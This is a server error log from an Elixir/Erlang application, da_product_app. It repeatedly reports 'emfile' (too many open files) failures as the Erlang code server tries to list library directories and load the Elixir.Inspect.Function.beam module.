[Sun Sep  6 00:59:45.439000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:45.439000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:45.439000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:45.439000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:45.439000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:45.439000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:45.440000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:45.440000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:45.440000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:45.440000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:45.440000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:45.440000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:45.440000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:45.442000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/consolidated/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:45.442000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /var/www/internaltesting/sonu/prverification/shukriapos/CloudLayer/_build/dev/lib/da_product_app/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:45.442000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/stdlib-5.2.3.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:45.442000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/kernel-9.2.4.3/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:45.442000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/erlang/lib/crypto-5.4.2.2/ebin. Function: list_dir. Process: code_server."]
[Sun Sep  6 00:59:45.442000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: /usr/lib/elixir/bin/../lib/elixir/ebin/Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:45.442000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: ./Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]
[Sun Sep  6 00:59:45.442000 2026] [da_product_app:error] [pid 2816631] [client -] [label: {:erl_prim_loader, :file_error}, report: ~c"File operation error: emfile. Target: Elixir.Inspect.Function.beam. Function: get_file. Process: code_server."]